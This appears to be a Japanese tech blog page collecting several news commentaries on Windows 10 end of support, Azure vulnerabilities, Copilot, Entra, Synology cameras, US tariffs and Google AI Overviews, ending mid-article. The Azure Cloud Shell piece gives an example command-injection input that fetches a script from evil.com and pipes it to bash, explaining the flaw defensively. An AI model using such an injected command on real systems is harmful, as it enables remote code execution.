実務への影響と対応ポイント 個人・SOHO向け $30のESUは「とりあえず2026年10月まで延命する」手段として機能する。ただし、Windows 11にアップグレードできないハードウェアを使い続けるコスト（年$30＋セキュリティリスク＋Secure Boot問題）と、新PCへの買い替えコストを今こそ比較してほしい。 Windows 11要件を満たさない端末——とくにTPM 2.0非搭載のもの——は、正直なところ「買い替えが最善策」と言い切っていい段階に入っている。 IT管理者・エンタープライズ向け 2026年10月の期限に向け、今すぐ着手すべき確認事項をまとめる： ESU加入状況の棚卸し — 全Windows 10端末のESU対象・加入状況を一元管理 Windows 11移行可否の再評価 — TPM 2.0対応状況・ドライバー互換性の実態確認 Secure Boot設定の確認 — UEFIでSecure Bootが有効か、DB/DBX更新が適用済みか 移行計画の前倒し — ESU Year 3（2027年以降）は提供されない可能性が高いため、2026年度末を目標に移行を完結させる計画を今から策定 日本の大企業でよく見られるのが、「端末は動いている、ESUで延命できる、だから問題ない」というパターンだ。しかしESUとSecure Boot問題が別軸で進行している以上、この判断は楽観的すぎる。 筆者の見解 Windows 10は2015年リリースから10年以上にわたって使われ続けた、まぎれもなく優れたOSだった。ESUという形でサポート終了後の配慮を提供しているのも、ユーザーへの誠実な姿勢として評価できる。 ただ一点、気になるのは情報の分散だ。ESUの詳細・Secure Boot証明書の失効スケジュール・サポートマトリクスが複数のドキュメントに散在しており、技術者でも全体像を把握しにくい。一枚の「Windows 10終了タイムライン」として整理して提供できるはずで、それができる組織力がMicrosoftにはある。ぜひ期待したい。 日本のIT現場では「まだ動いているから大丈夫」という判断が根強い。しかし今回のように複数の期限・複数の問題が重なるケースでは、その判断が静かに綻びる。2026年10月は決して遠くない。棚卸しは今すぐ始めるべきだ。 出典: この記事は Windows 10 End of Support 2026: Secure Boot Expiry, ESU, and Staying Safer | Windows Forum の内容をもとに、筆者の見解を加えて独自に執筆したものです。 ...

ブラウザベースのシェルが「Azureサブスクリプションごと奪われる」可能性があった 2026年5月7日、Microsoft Security Response Center（MSRC）がAzure Cloud Shellのクリティカル脆弱性「CVE-2026-35428」を正式に公開した。コマンドインジェクションを伴うスプーフィング脆弱性であり、悪用に成功した攻撃者はユーザーのCloud Shellセッション内で任意コードを実行し、そのセッションに紐づくAzureサブスクリプション全体を支配下に置くことができた可能性がある。 ただし、利用者側の対処は一切不要。 Microsoftはすでに公開前にサービス側のガバナンス更新を全グローバルインフラに展開しており、ダウンロードやパッチ適用なしに攻撃ベクタをブロック済みだ。 「パッチ不要」という結論だけを見て安心するのは早い。この一件は、Azureのクラウドシェル環境がどのような構造で動いており、どこにリスクが潜むかを鮮明に示している。 Azure Cloud Shellとは何か——便利さの裏側にある「継承リスク」 Azure Cloud Shellは、Azure Portal・Azureモバイルアプリ・shell.azure.comから直接アクセスできるブラウザベースのシェル環境だ。ユーザーごとに管理コンテナが払い出され、BashとPowerShellの両方をサポートする。認証はMicrosoft Entra ID（旧Azure Active Directory）が担い、サインイン済みのIDに紐づくAzure RBAC権限がそのままシェルプロセスに継承される。 この「継承」こそが便利さであり、同時に今回の脆弱性が致命的なポテンシャルを持っていた理由でもある。セッションを乗っ取られた瞬間、攻撃者はKey Vaultのシークレット読み取りからリソース削除まで、ユーザーと同等の権限を手にする。 脆弱性の技術的な仕組み——コマンドインジェクションという古典的な罠 CVE-2026-35428の根本原因はコマンドインジェクションだ。ユーザーが入力した文字列を適切なサニタイズなしにシェルコマンドへ組み込む実装上の欠陥で、セキュリティの世界では「古典的」と呼ばれるほど歴史が長い。 具体例で考えると分かりやすい。仮にCloud Shellがユーザー入力のファイル名を受け取って ls -la <filename> を実行する機能を持っていたとする。入力が file.txt; curl http://evil.com/shell.sh | bash であれば、セミコロン以降が別コマンドとして実行されてしまう。Cloud Shellの文脈では、その後続コマンドはユーザーのAzure RBAC権限で走る。 「スプーフィング」という分類は、攻撃者が正規ユーザーやシェル環境の信頼されたコンポーネントに成りすましてコマンドを実行できる点を指しているとみられる。CVSSスコアはMSRCが「クリティカル」と評した以上、おそらく8.5以上。コンテナ単位の分離によって一人のユーザーへの影響は封じ込められるとはいえ、自動化された攻撃であれば数千セッションを連鎖的に狙うシナリオも排除できない。 Microsoftの対応——「ガバナンス更新」という見えない修正 今回のMicrosoftの対応は特筆に値する。パッチファイルの配布や利用者への設定変更要求を一切伴わず、サービス側のガバナンスロジックを更新して攻撃ベクタを封じた。完全マネージドサービスのメリットをフルに活かした対応だ。 開示のタイミングも計算されている。「修正後に公開」という手順は、CVEの公開が即座に攻撃者へのレシピを提供しないようにするためのベストプラクティスに沿っている。 実務への影響——日本のエンジニア・IT管理者が今すぐ確認すべきこと 利用者側の対処が不要であっても、この脆弱性は以下の観点で実務的な振り返りのきっかけになる。 1. Cloud Shellセッションに「過剰な権限」を持たせていないか確認する Cloud Shellはサインインユーザーの権限をそのまま継承する。管理作業のために常時グローバル管理者でサインインしている環境は、それだけでリスク面積が広い。作業ごとにJust-In-Time（JIT）で必要な権限だけを付与するPIM（Privileged Identity Management）の活用を検討したい。 2. 条件付きアクセスポリシーでCloud Shellへのアクセス元を絞る どのIPやデバイスからでもCloud Shellにアクセスできる状態は好ましくない。準拠デバイス要件や特定のIPレンジへの限定を条件付きアクセスポリシーで設定することで、セッションハイジャックが発生しても攻撃の入口を狭められる。 3. Azure Monitorのアクティビティログを定期的にレビューする 今回のような脆弱性の悪用は、CloudShellセッション内での想定外のAPIコールとして痕跡が残りやすい。AzureActivity テーブルを使ったKustoクエリで、Cloud Shellセッション中の予期しないリソース操作を検知するアラートを整備しておくとよい。 4. Non-Human Identity（NHI）の権限棚卸しを併せて実施する Cloud Shellを使って払い出したサービスプリンシパルやマネージドIDに不必要な権限が残っていないか。今回の脆弱性はCloud Shell経由の乗っ取りを起点に、その先のNHIへの横移動を可能にする。NHIの定期的な棚卸しと最小権限の原則の徹底が改めて重要だ。 ...

Azure Monitor の通知・自動対応の要となる Action Groups に、権限昇格（Elevation of Privilege）の脆弱性が発見された。CVE番号は CVE-2026-41105、CVSSスコアは 8.1（High）。2026年5月7日に Microsoft Security Response Center（MSRC）が公開し、同日中にクラウドインフラ側で自動パッチが適用されている。ユーザー側での対応は現時点で不要とされているが、この問題が改めて示す「クラウド管理面における最小権限設計」の重要性は、見過ごすには惜しい教訓が詰まっている。 CVE-2026-41105 とは何か 本脆弱性は、Azure Monitor が特定の Action Group 操作に対して認可処理を行う部分に存在する。技術的な詳細は未公開だが、攻撃者が細工したリクエストを送ることで通常のアクセス制御を迂回できるとされる。注目すべき条件は以下の3点だ。 ネットワーク越しに攻撃可能——ローカルアクセスは不要 ユーザー操作不要——被害者の操作を誘導する必要がない 攻撃複雑度: 低——実証コードが公開されれば比較的容易に悪用可能 現時点では野に放たれた悪用は報告されていないが、脆弱性が公開されれば逆エンジニアリングの試みが増えるのは歴史的な傾向だ。「CVSS 8.1 だが自動修正済み」という状況でも、設計の問いとして受け取る価値がある。 Action Groups は「クラウド運用の自律神経」 Action Groups は、Azure Monitor アラートが発火したときに何をするかを定義するオブジェクトだ。メール・SMS・プッシュ通知の送信にとどまらず、Azure Functions の実行、Logic Apps の起動、Webhook の呼び出しまで担う。 問題はその「権力の大きさ」にある。インフラのスケールアウト、インシデント対応チームへの通知、修復スクリプトの実行——これらをすべて Action Groups は自動で動かせる。裏を返すと、「正当なアラートを握りつぶす」「誤った自動応答を意図的に発火させる」「リンクされた Azure リソースへ横断的に侵入する」といった攻撃経路が、Action Groups の侵害によって開きうる。 NHI（Non-Human Identity）としての Action Groups は、まさに「人間の代わりに動く自律エージェント」だ。この権限管理が甘いまま自動化を積み上げると、便利さと引き換えに攻撃対象面を静かに広げていることになる。 既に自動パッチ適用済み——でも安心だけでは足りない Microsoft は今回、迅速に動いた。クラウド側で自動適用されたため、ユーザー企業が手動でパッチを当てる必要はない。オンプレミス製品なら「テスト → 承認 → 段階適用」で数週間かかるところが、クラウドでは透過的に対処される——これがクラウドへ移行する真の利点のひとつだ。 ただし「パッチが当たったから終わり」とは思わないでほしい。今回の問題が問いかけているのは、「あなたの環境の Action Groups はどのくらいの権限を持っているか、誰がその権限を把握しているか」という設計の話だ。 実務への影響——日本のエンジニア・IT 管理者へ 今すぐ確認（影響評価） MSRC ポータルまたは Microsoft Defender for Cloud で自社サブスクリプションへの影響評価を確認 Azure Activity Log で、通常とは異なる Action Group の変更操作がないかを確認（侵害の痕跡チェック） 中期的に整理すべき設計の棚卸し ...

2026年5月7日、Azure DevOpsに影響を与えるCVSSスコア10——つまり脆弱性の深刻度として取り得る最高値——の情報漏洩脆弱性が公開された。CVE-2026-42826として登録されたこの問題は、認証なしのネットワーク上の攻撃者がAzure DevOps上の機密情報にアクセスできるというものだ。現時点でMicrosoftはサービス側での対処完了を発表しており、利用者側での緊急対応は不要とされている。しかし、その技術的背景と含意は、DevOpsを運用する日本のIT現場にとって決して無視できない。 CVE-2026-42826とは何か 今回の脆弱性は、コードインジェクションやバッファオーバーフローではない。アクセス制御の不備によって、認証されていない外部の攻撃者がネットワーク経由で機密情報を取得できる「データ漏洩型」の問題だ。 CVSSスコア10は、以下の条件が重なった結果として算出される： 認証不要（Unauthenticated）：ユーザー名もパスワードも必要ない ネットワーク経由（Network-accessible）：物理的なアクセスなしに遠隔から攻撃可能 ユーザー操作不要（No user interaction）：誰かにリンクをクリックさせる必要もない CVSSで10を取るということは「組み合わせとして最悪の条件が全部揃っている」ことを意味する。スコアを見た瞬間に状況の深刻さが伝わる、数字のインパクトがある。 何が漏れた可能性があるか アドバイザリーには具体的なデータ種別の記載はないが、Azure DevOpsが管理するリソースを考えると、以下が漏洩対象として想定される： ソースコード：リポジトリへの不正アクセス ビルド定義・パイプライン設定：CI/CDの詳細な構成情報 シークレット・APIキー：ビルドパイプラインに埋め込まれた認証情報 環境変数：本番環境の接続文字列など 特に深刻なのは、ビルドパイプライン上のシークレットだ。「ビルド時だけ必要だから」とパイプライン変数に書き込まれた認証情報が、DevOpsプラットフォームを通じて外部から閲覧できる状態にあった可能性がある。 サプライチェーン攻撃への悪用リスク 攻撃者がソースコードとビルド設定を入手できれば、コードへのバックドア挿入や依存パッケージのすり替えが現実的な選択肢になる。ソフトウェアサプライチェーンへの攻撃は、開発元の被害にとどまらず、そのソフトウェアを使用するすべての組織に波及する可能性がある。このため、今回の脆弱性は単なる「情報漏洩」の枠を超えた影響力を持つ。 実務への影響——今日から見直せること 修正はMicrosoft側で完了しているが、このタイミングで以下の点を棚卸しする価値は十分ある。 ビルドパイプライン上のシークレット管理を再点検 「今動いているから大丈夫」は根拠にならない。Azure DevOpsのビルド変数に直接書かれているAPIキーやパスワードは、Azure Key VaultやManaged Identity（マネージドID）への移行計画を立てるべきだ。仕組みを変えるだけで、類似した問題が起きた際の被害を大幅に抑えられる。 Non-Human Identity（NHI）の権限を絞る サービスプリンシパルやマネージドIDに「とりあえず広め」の権限を割り当てていないか確認しよう。NHIに与えた権限の広さが、漏洩時のダメージに直結する。最小権限の原則（Least Privilege）は、机上の概念ではなく被害封じ込めの実用的な手段だ。 ログとアラートの整備 認証なしでの情報アクセスを試みる挙動は、適切な監視があれば早期発見できる可能性がある。Azure MonitorやMicrosoft Defender for DevOpsのアラートが正しく構成されているか、この機会に確認したい。 筆者の見解 セキュリティ系の記事は「また脆弱性か」と流れがちだが、CVSS 10は別格だ。これは理論上取り得る最悪の評価であり、「修正済みだから大丈夫」という言葉だけで安心するのは危険だと思っている。 気になるのは、脆弱性の具体的なメカニズムが今もアドバイザリーに記載されていない点だ。「認証不要で情報が漏れる」という事実は明らかになっているのに、どのエンドポイントが問題だったか、影響を受けたバージョンの範囲がどこかは公開されていない。透明性という観点では、修正完了後の詳細な事後説明をぜひお願いしたいところだ。 Azure DevOpsは日本でも多くの企業のソフトウェア開発の中枢を担っている。プラットフォームへの信頼が問われる局面だからこそ、技術的な対処だけでなく、情報開示の誠実さも問われる。Microsoftにはその力がある。正面から向き合う姿勢を示してほしい。 今後に向けて言えば、「シークレットをパイプラインに直接置かない」「NHIの権限は最小限に絞る」「常時ログを監視する」——この3点は脆弱性の有無に関係なく、ゼロトラスト時代の基本設計として徹底する価値がある。今回の事象を、自組織のDevOpsセキュリティを見直す良いきっかけにしてほしい。 出典: この記事は CVE-2026-42826: Azure DevOps Critical Information Disclosure – CVSS 10 の内容をもとに、筆者の見解を加えて独自に執筆したものです。

Microsoft 365 Copilot の Agent Builder に、ついにスケジュール実行機能が追加された。2026年5月中旬から世界展開が始まっており、月末には完了する見込みだ。毎朝のレポート収集、週次サマリーの自動生成など、「定型だが手を動かすのが面倒」な作業をエージェントに丸投げできる仕組みが整いつつある。 何ができるようになったのか Agent Builder で作成した Copilot エージェントに対して、「いつ・どのくらいの頻度でプロンプトを実行するか」を事前に設定できるようになった。サポートされる実行間隔は以下の通り。 毎時（Hourly） 毎日（Daily） 毎週（Weekly） 毎月（Monthly） 毎年（Yearly） スケジュールにはプロンプト本文・トリガー条件・日時・タイムゾーンを指定できる。設定はユーザーごとに独立しており、エージェントを他のユーザーと共有してもワークフローは共有されない点は注意が必要だ。また、下書きや未公開状態のエージェントではスケジュールは動作しない。 管理者側の対応は不要。既存のテナントポリシーおよび Copilot ポリシーが自動的に適用される設計になっている。 技術的な背景——「人が押す」から「時間が押す」へ これまでの Copilot エージェントは基本的に「ユーザーがプロンプトを入力して初めて動く」リアクティブ（受動的）な存在だった。今回の変更で、エージェントはプロアクティブ（能動的）に動く存在へと変わる。 これはエージェント設計の考え方を根本から変えるアップデートだ。たとえば： 毎朝9時に前日のプロジェクト進捗をまとめてチャットに送る 毎週金曜の夕方に週次レポートのドラフトを作成しておく 月初に先月のコスト分析を自動実行してサマリーを出す こうしたシナリオが、追加の開発なしに実現できるようになる。Power Automate のフローを組んだり、Azure Logic Apps を使ったりしなくても、Agent Builder の UI だけで完結する点は現場にとって大きい。 実務への影響——IT担当者・エンジニアへのヒント まず試すべきユースケース: 朝のダッシュボード代わり: 毎朝決まった時刻にSharePointやTeamsの更新情報をまとめさせる。Copilotが苦手なこともあるが、定型的なまとめ作業なら十分機能する 週次レポートの自動起草: マネージャーが毎週手で書いているサマリーを、エージェントに下書きさせてから編集する運用に切り替える コンプライアンスチェックの定期実行: ポリシー遵守の確認プロンプトを週次で流し、異常があれば通知する仕組みを作る 注意すべき点: スケジュール実行は「ユーザーに代わって自動でデータにアクセスする」ことを意味する。データアクセス権限が既存のまま適用されるため、権限の棚卸しを先にしておくべきだ ワークフローはユーザーごとに独立して動く。組織横断で同じ処理を走らせたい場合は、各ユーザーが個別に設定する必要があり、管理が煩雑になりうる Premium ライセンスが必要。M365 Business Basic や E3 だけでは使えないため、ライセンス構成を確認しておこう 筆者の見解 正直に言えば、この機能は「ようやく」という感想だ。定型業務の自動化は Copilot に最も期待していた領域のひとつであり、それがユーザーの手でノーコードで設定できるようになった意味は大きい。 ただし、ここで冷静になる必要もある。スケジュール実行で動かすのはあくまで「Copilot エージェント」だ。複雑な判断や深い分析を伴うタスクには、まだ得意・不得意がある。Teamsの議事録まとめやOutlookの定型返信候補、週次サマリーの起草といった「繰り返しが明確で、正確性よりスピードが優先される」業務にフォーカスして使うのが現実解だろう。 一方で、この機能がエージェント設計の幅を大きく広げるのは間違いない。「プロンプトを人が毎回打たなくていい」という体験は、AIに慣れていないユーザーにとって大きな心理的ハードルを下げる。組織全体のCopilot活用率が上がるきっかけになりうる。 Agent Builder がこうした実用的な機能を着実に積み上げてきていること自体は評価したい。Copilotが「本当に現場の仕事を変えるツール」になるための地道な進化が、ここにある。その方向性に期待しながら、引き続き使い込んでいきたい。 出典: この記事は Microsoft 365 Copilot: Schedule prompts in Agent Builder の内容をもとに、筆者の見解を加えて独自に執筆したものです。 ...

Microsoft Entraの2026年5月アップデートが公開され、パスキー運用の柔軟性向上と、レガシー認証の完全廃止という2つの重要な変更が同時に動き始めた。特に後者は「いつかやらなきゃ」と先送りしてきた組織に対する事実上の強制終了通知だ。認証基盤の刷新を後回しにしてきた日本のIT部門にとって、今月は明確な転換点となる。 パスキープロファイルとグループベース管理の導入 今回の目玉機能のひとつが「パスキープロファイル」だ。これまでEntra IDのパスキー設定はテナント全体で一律に適用されていたが、今後はプロファイル単位で設定を定義し、グループに割り当てる形で管理できるようになる。 具体的には、デバイスの種別やリスクレベル、職種に応じて異なるパスキーポリシーを設定できる。たとえば特権ユーザーグループには厳格なFIDO2キー要件を、一般ユーザーグループにはスマートフォンのパスキーを許可する、といった細粒度の制御が可能になる。大規模組織や多様なデバイス環境を持つ企業にとって、これは運用負荷を大きく下げる改善だ。 全認証手段を失ったユーザーのアカウント復旧 あまり注目されていないが、実務的に重要な機能も追加予定だ。登録済みの認証方法をすべて失ったユーザー（デバイス紛失・故障など）に対する、管理者介在型のアカウント復旧フローが整備される。 これまで「全MFA手段を失ったユーザーの救済」はヘルプデスク業務の中でも工数がかかるケースのひとつだった。専用フローが標準化されることで、対応品質のばらつきを減らせる。 レガシー認証の永久ブロック開始（2026年5月〜） 今回の変更の中で最もインパクトが大きいのは、Basic認証をはじめとするレガシー認証プロトコルの永久ブロックだ。これまでも段階的な非推奨化が進んでいたが、2026年5月をもって完全に遮断される。対象はExchange Online、SharePoint Online、Entra IDに対するレガシープロトコルへの接続全般だ。 移行先はOpenID Connect（OIDC）とOAuth 2.0。モダン認証へ移行できていないアプリケーション、とりわけ古い業務システムや自動化スクリプトが接続を試みている場合、今月から突然エラーになる可能性がある。 実務への影響——日本のIT管理者が確認すべきこと 1. レガシー認証の利用状況を今すぐ確認する Entraの「サインインログ」でクライアントアプリのフィルターを使えば、レガシープロトコルを使っている接続元を特定できる。Entra IDのサインインログ > フィルター「クライアントアプリ」> レガシー認証クライアントで絞り込みが可能だ。気づかずに動いているバッチ処理や監視ツールが意外に多い。 2. パスキープロファイルの設計を先回りしておく 現時点でパスキー展開を検討している組織は、グループ設計と合わせてプロファイル設計を行う絶好のタイミングだ。後から分割するより、最初から役割別に整理した方が運用が楽になる。 3. アカウント復旧フローをヘルプデスクに展開する 復旧機能が正式リリースされたら、マニュアル更新とヘルプデスクへの周知を早めに行いたい。特に人事異動や入退社が集中する時期の直前に整備しておくと効果的だ。 筆者の見解 正直に言えば、セキュリティ系の話題は細かい仕様が多くて得意分野ではない。だが今回のレガシー認証ブロックについては、方向性として完全に正しいと思っている。 ゼロトラストを本当に実現しようとするなら、「誰でもどこからでも接続できてしまう古いプロトコル」を残しておくことは根本矛盾だ。VPNで境界を作って「内側は安全」と思い込む時代はとっくに終わっている。レガシー認証の存在はその典型例で、廃止は遅すぎたくらいだ。 一方で日本の大企業の現場を見ていると、ゼロトラストへの移行を進めながら、古いセキュリティモデルのシステムが隅に残り続けている状況が少なくない。パッチワーク的な移行が積み重なって、全体として非常に複雑な構成になっているケースも多い。今回の強制ブロックが、そういった積み残しに向き合うきっかけになるなら、むしろ歓迎だ。 パスキープロファイルのグループ管理については、Non-Human Identities（NHI）の管理体制を整える流れとも親和性が高い。自動化を推進するには、人間と機械が使う認証をきちんと分けて管理できる基盤が不可欠で、その基盤が少しずつ整備されてきていると感じる。Entraがこの方向で機能を積み重ねてくれていることは、素直に評価したい。 出典: この記事は What’s New in Microsoft Entra: May 2026 の内容をもとに、筆者の見解を加えて独自に執筆したものです。

Synologyがエッジ AI を搭載した次世代監視カメラ「BC510」（バレット型）と「TC510」（タレット型）を正式に発表した。米テクノロジーメディアTechaerisが詳細を報じた。NASで国内にも根強いファンを持つSynologyが、AI解析機能をカメラ本体に内蔵することで、従来型の監視システムの限界に真正面から挑む製品だ。 スペックと基本性能 BC510/TC510はそれぞれIP66・IP67の防塵・防水認定を取得しており、屋内外を問わず安定した動作を保証する。映像品質は2880×1620ピクセル・30FPSの高解像度で、水平視野角110°の広角レンズと最大30メートルの夜間視野を備える。照明条件に左右されず網羅的な監視エリアをカバーできる設計だ。 エッジAIが変える監視の常識 本モデル最大の特徴は、人物カウント・車両カウント・侵入検知・インスタント検索といったAI解析をカメラ本体（エッジ）で完結させる点にある。従来の監視システムでは映像をサーバーに送信して解析するため、ネットワーク帯域やサーバーリソースへの負荷が常に課題となっていた。BC510/TC510はこの処理をカメラ側で引き受けることで、リアルタイム検知を実現しつつサーバー側の処理負荷を大幅に削減する。 Techarisが引用するSynology監視部門ディレクターのJosh Lin氏のコメントによれば、「カメラ・VMS・AI解析・ストレージ・クラウドをシームレスに統合するエコシステム構築がSynologyの監視戦略」とのこと。BC510/TC510はその戦略の実装例として位置づけられている。 柔軟な展開オプション 本製品はSynologyエコシステムへのネイティブ統合に加え、業界標準プロトコルONVIFに対応しているため、サードパーティのNVR（ネットワーク映像レコーダー）やVMS（映像管理システム）との接続も可能だ。既存のセキュリティインフラを活かしたまま導入できる柔軟性は、エンタープライズから中小企業まで幅広い組織に刺さる強みとなる。 さらに、Synologyが準備中のクラウドベース監視プラットフォーム「VSaaS」への対応も設計段階から盛り込まれており、将来的なクラウド移行の足場としても機能する。 日本市場での注目点 現時点で日本向けの具体的な価格は未発表。入手はパートナー・リセラー経由が基本となる。 見落とせない点として、従来モデルと異なりSurveillance Stationライセンスが別途必要になったことが挙げられる。SynologyエコシステムでAI機能をフル活用する場合、カメラ本体価格に加えてライセンスコストが発生する。一方、ONVIF経由で既存のNVR環境に接続する場合はSynologyライセンスなしでも運用できるため、コスト構造を整理して導入判断する必要がある。 競合はAxis Communications、Hikvision、Dahua Technologyなどが挙げられるが、SynologyはNASとのシームレスな統合という独自の強みを持つ。NASをすでに活用している組織にとっては、インフラ拡張の自然な延長線として検討に値する。 筆者の見解 AI解析をエッジデバイス側に移す設計思想は、監視カメラの世界でも「自律的な処理」が本流になりつつあることを示している。映像をサーバーに送って中央で判断するという旧来の構造から、デバイス自身がリアルタイムに判断・検知する構造への移行は、AIを活用する上で理にかなった進化だ。 一方で、Surveillance Stationライセンスの別途有料化については少々気になる。Synologyの既存ユーザーには「今まで標準で使えた機能が有料になる」という印象を与えかねない。エッジAI搭載という技術的進化は素直に評価できるだけに、ライセンス設計の透明性と公平感は引き続き重要な問いだ。 VSaaS対応を含めた将来性は魅力的で、特にSynologyのNASをすでに運用している組織には選択肢として有力。エッジでの自律検知とクラウドスケーラビリティを両立する方向性は、スマート監視の次世代標準に近い設計と言える。 関連製品リンク Synology BC510 Synology TC510 上記はAmazon.co.jpへのリンクです。記事執筆時点の情報であり、価格・在庫は変動する場合があります。 出典: この記事は Synology Introduces BC510 and TC510, New Versatile AI-Enabled Bullet and Turret Cameras for Smart Surveillance の内容をもとに、筆者の見解を加えて独自に執筆したものです。

トランプ政権が最高裁の判断を受けて「代替措置」として発動した10%グローバル関税について、米国際貿易裁判所が2026年5月8日（現地時間）、これも違法との判断を下した。Ars Technicaが詳報している。 なぜこの判決が注目されるのか 最高裁が別の緊急関税を違法と認定した翌日、トランプ大統領は1974年通商法第122条という「数十年間一度も発動されたことのない」条文を根拠として、ほぼすべての輸入品に10%の追加関税を課した。ところが今回、国際貿易裁判所も2対1の多数意見でこれを違法と認定した。トランプ大統領は即座に「また別の方法でやる」と発言しており、テック業界は次の一手に神経をとがらせている。 裁判所の判断のポイント Ars Technicaの報道によれば、首席判事マーク・A・バーネット氏と判事クレア・R・ケリー氏は、トランプ政権が「国際収支赤字（balance-of-payments deficit）」の定義を恣意的に書き換えたと判断した。 第122条の本来の趣旨: 同法が制定された当時、ドルは金本位制に連動していた。その文脈から見て、現代的な意味での貿易赤字を「国際収支赤字」と読み替えるのは無理がある、という解釈が通った 「都合のよい柔軟なフレーズ」論の否定: トランプ政権の顧問たちも「解釈の余地がある表現」と認識していたことが裁判で明らかになり、これが逆に仇となった 限定的な救済: 今回の判決は全国一律の差し止めではなく、提訴した輸入業者への還付のみ。関税の影響で価格上昇を被った消費者など第三者が追加提訴に動く可能性も指摘されている 日本市場での注目点 今回の判決は米国内の話だが、日本のテック業界にとっても他人事ではない。 輸出コストの不透明感が継続: トランプ政権は「別の法的根拠を使う」方針を公言している。スマートフォン・PC・半導体部品など電子機器の米国向け輸出コストを巡る不確実性は、今回の判決では払拭されない。 日本メーカーへの影響: ソニー、任天堂、村田製作所のように米国向け輸出の比率が高い日本企業は、次の関税措置がどの法的根拠に基づくかを注視し続けなければならない状況だ。 米テック株への波及: AppleやNVIDIAなどアジアのサプライチェーンに依存する米テック大手の収益見通しにも、長期的な影響が残る。日本から米国株に投資するエンジニア・ITプロも動向を把握しておきたい。 筆者の見解 今回の展開で改めて浮き彫りになったのは、関税措置の「法的な脆弱性」そのものよりも、テック業界が直面している「計画不可能なコスト環境」の深刻さだ。 半導体や電子機器の調達コストは、製品ロードマップや価格設定に数年単位で影響する。ところが現在の米国では「裁判所に止められたら別の条文で出し直す」という運用が繰り返されており、メーカーや調達担当者は製品コストを確定しにくい状態に置かれ続けている。 日本のエンジニアや購買担当が今できる現実的な対応は、コスト変動を吸収できるサプライチェーンの多元化シナリオを事前に持つことと、米中首脳会談（5月中旬予定）の行方を定点観測することだろう。「止められたら別の道」という姿勢が続く限り、この不確実性はすぐには終わらない。 出典: この記事は Court rules Trump’s 10% tariff is just as illegal as the tariff it replaced の内容をもとに、筆者の見解を加えて独自に執筆したものです。

Ars TechnicaのライターRyan Whitwam氏が2026年5月8日に報じたところによると、Googleは検索上部を占有するAI Overviews（AIによる概要表示）に対し、ウェブサイトへのリンクを大幅強化する複数の変更を発表した。AI検索の台頭によるトラフィック減少を訴えるウェブパブリッシャーへの対応とも読める動きであり、AI検索とオープンウェブの関係性を問い直す重要な転換点として注目されている。 なぜこの変更が注目されるのか AI Overviewsは過去2年間、Google検索結果の最上段を占拠してきた。AIが直接回答を生成する形式のため、ユーザーが外部ウェブサイトに遷移する機会が減り、多くのパブリッシャーがトラフィック減少を訴え続けてきた。 Googleは「AIがトラフィックを奪っている」という見解を公式には認めていないが、Ars Technicaが指摘するように、複数の分析がGemini（AI Overviews）がユーザーをGoogle内に留めていることを示唆している。そのジレンマは構造的だ——Geminiが要約する元データはウェブサイトが生み出したコンテンツであり、サイトが広告収入を失って消えていけば、要約できる情報自体も枯渇する。今回の発表は、Googleがこの矛盾にようやく向き合い始めたシグナルとして見ることができる。 具体的な変更内容（Ars Technicaの報道より） 「Further Exploration（さらに探索）」セクション AI OverviewsとAI Modeの末尾に、関連記事・分析へのリンクをリスト形式で提示する新セクションが追加される。「都市の緑地」を検索した例では、ニューヨークやシンガポールの具体的な事例へのリンクが提示された。 「Expert Advice（専門家のアドバイス）」セクション ウェブ上の関連コンテンツのスニペットを表示し、ニュース・レビュー・公開フォーラム・SNSの議論も含む。各スニペットにリンクが付属し、全文に直接ジャンプできる。 インラインリンクの増加 段落末尾に表示される小さなリンク（ピル形式）が増加する。クリックするとAI出力の根拠となったソース一覧が展開される形式だ。 リンクプレビューのポップアップ AI Overviewsおよび AI Mode内のリンクをホバーすると、クリック前にサイトの概要情報がポップアップ表示されるようになる。 サブスクリプション連携（パートナー募集中） 読者が購読しているウェブサイトをGoogleアカウントと連携させることで、AI回答内でそのサイトが優先表示される機能も開発中。Googleによると、初期テストでは購読サイトがリンクとして表示された際にクリック率が大幅に向上したという。 日本市場での注目点 これらの変更は英語圏での展開が先行するが、日本語AI Overviewsへも順次適用される見込みだ。Googleの検索トラフィックに依存するメディア・ECサイト・ブログ運営者にとって、対応を検討すべき変化だ。 サブスクリプション連携機能は、日経電子版・朝日新聞デジタルなど有料会員制メディアにも将来的に適用される可能性がある。現在はパートナー企業の公募段階のため、日本のパブリッシャーが参加できるかは未定だが、動向を注視する価値がある。 SEO戦略の観点では、AIによる要約に素材として使われやすい構造化コンテンツ（専門的な分析・解説・レビュー）の重要性が改めて高まると考えられる。 筆者の見解 Googleがウェブエコシステムとの共存に舵を切ったこと自体は、一歩前進として評価できる。「Further Exploration」セクションや「Expert Advice」は、AI回答で完結させることへの反省を形にしたものとして読めるし、サブスクリプション連携は既存のウェブビジネスモデルとAI検索を接続しようとする意欲的な試みだ。 ただし、率直に言えば課題も残る。リンクが「量として増える」ことと「実際にクリックされる」ことは別の話だ。AI要約が最初の画面を占有し、追加リンクがスクロール後に置かれる基本構造は変わっていない。パブリッシャーにとっては「見えやすくはなったが、クリックされるかは別」という状況が続く可能性がある。 今回の変更が本気の軌道修正であるかを測る指標は、サブスクリプション連携機能の普及速度だろう。APIを通じてパブリッシャーとユーザーの関係をAI検索に組み込む仕組みは、うまく機能すれば「AIとウェブの共生モデル」の雛形になりうる。Googleがこれを商業的なアリバイではなく、エコシステム全体への本気の投資として進めるかどうか——今後の展開を注目したい。 出典: この記事は Course correction: Google to link more sources in AI Overviews の内容をもとに、筆者の見解を加えて独自に執筆したものです。

Appleが3月に発売した廉価ノートPC「MacBook Neo」が市場に大きなインパクトを与える中、Microsoftはマーケティング調査会社Signal65に「Windowsラップトップ優位性報告書」を委託した。レポートは「同価格帯でWindowsノートが2倍のRAMを提供し、バッテリー持続時間も最大56%長い」と主張しているが、米テクノロジーメディアTom’s GuideのScott Younker記者は、その比較手法に複数の問題があると指摘している。 Signal65報告書が「推す」Windows機とは Signal65の報告書が対抗馬として挙げるのは、Lenovo IdeaPad Slim 3x、HP OmniBook 5、Lenovo Yoga 7i、HP OmniBook X Flipの4機種。RAM容量とバッテリー持続時間においてMacBook Neoを上回ると主張している。 Tom’s Guideが指摘する比較の問題点 Tom’s Guideのレビューによると、この報告書には2つの根本的な問題がある。 1. 価格帯の不一致 MacBook Neoは599ドルの廉価機を想定した製品だ。しかし報告書が「対抗馬」として推すYoga 7iは1,099ドル、HP OmniBook X Flipは949ドルと、価格がほぼ倍に上る。「同価格帯の比較」という前提が崩れている。 2. 携帯性の完全無視 MacBook 